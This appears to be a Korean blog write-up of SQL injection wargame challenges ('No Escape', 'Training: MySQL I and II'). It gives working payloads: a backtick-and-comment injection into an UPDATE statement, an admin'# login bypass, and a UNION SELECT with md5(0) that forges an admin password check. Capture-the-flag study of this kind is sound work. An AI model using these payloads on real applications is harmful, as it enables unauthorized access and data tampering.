No Escape
투표를 111개 하는건데 110개가 되면 초기화된다. 투표시 ?vote_for=bill처럼 인자가 전달되는데 끝에 '를 붙여보면 에러메시지와 함께 UPDATE noescvotes SET `bill\'`=`bill\'`+1 WHERE id=1 이라는 코드가 나온다. 내가 '를 넣은 부분은 저 빨간부분이므로 수정해서 bill`=111 where id=1%23로 보내보면 id는 건들지 말라고 하므로 bill`=111%23로 보내면 통과
Training: MySQL I
"SELECT * FROM users WHERE username='$username' AND password='$password'"; 인데 아무런 필터링이 안되있음.
admin'#
Training: MySQL II
"SELECT * FROM users WHERE username='$username'"; 이고, 비밀번호는 아래에서 또 따로 검사한다.
if ($result['password'] !== $password) {
echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
return false;
}
비밀번호를 알아낼 수 없으므로 union으로 만들려고
union select 'admin',md5(0)#,0 을 입력해보면 에러가 뜬다. 컬럼갯수가 다른것같아서 이것저것 입력해봤더니 ' union select 'admin',2,md5(0)#,0 을 입력해보면 2로 로그인된다. 2 자리가 아이디 자리같으므로 ' union select 1,'admin',md5(0)#,0 처럼 입력하면 통과.
'webhacking > sql, sql injection' 카테고리의 다른 글
DareYourMind SQL Exploit 1~4 (0) | 2015.01.24 |
---|---|
webhacking.kr 27, 29 (0) | 2015.01.15 |
RedTigers Hackit 8 (미완) (0) | 2015.01.11 |
RedTigers Hackit 7 (0) | 2015.01.09 |
RedTigers Hackit 6 (0) | 2015.01.09 |